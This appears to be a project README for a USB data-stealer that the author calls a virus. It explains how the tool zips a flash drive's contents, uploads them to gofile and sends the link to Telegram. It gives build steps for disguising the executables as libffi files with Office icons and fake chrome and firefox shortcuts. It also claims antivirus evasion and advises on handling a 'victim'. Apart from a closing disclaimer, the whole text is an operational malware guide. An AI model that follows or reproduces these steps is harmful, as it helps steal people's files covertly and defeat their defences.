I've created a python program consisting of three scripts to send all the data on a USB flash drive in a zip file to telegram.
The first script is usb.py, which will detect the insertion of a USB flash drive and send it to Windows as a zip file. Thanks to : @bestmahdi2 https://github.com/bestmahdi2/FileStealerUSB2PC/blob/master/FileStealerUSB2PC.py
The second script will upload the zip file to gofile thanks to : @khodekhadem https://github.com/j0rd1s3rr4n0/FileUploader/tree/main/GoFIle
And the third script will send the file link to telegram.
The virus is propagated by launching the file pyth0n.ps1 or Pyth0n.exe, which will create a shortcut on the desktop named chrome and firefox so that the virus is launched when the user clicks on it. Launching pyth0n will also move the virus to C:/windows-office. The principle of this virus is that it is undetectable by antivirus software and completely anonymous.
To get an .exe file instead of the used python: auto-py-to-exe https://pypi.org/project/auto-py-to-exe/
To create the virus, you'll need to modify the bots and main files in python to enter your telegram connection keys. once modified, you'll compile them with auto-py-to-exe. for main.py use the office icon and for the bot files rename them with the following names:
chrome >> libffi-26.exe
firefox >> libffi-25.exe
install >> libffi-13.exe
autodestroy >> libffi-14.exe
UID-generator >> libffi-64.exe
then use ps1 to exe to convert the autodestroy.ps1 file and rename it to driver.exe. your project should look like this:
in folder data :
in folder shorcut :
move libffi-64.exe to _internal
To start the infection, just run Pyth0n.exe.
At the moment I can't hide the stealer window. The terminal is therefore visible. I'm working on it. Fix✅
If chrome and/or firefox are not installed, the shortcut will open the virus window ad infinitum. In this case, if you know that your victim does not have firefox or/and chrome, disable the move in pyth0n.
This project is for educational and ethical purposes only. Any illegal or malicious use is strictly prohibited. The author assumes no responsibility for any misuse. Use only in controlled environments and with proper authorization.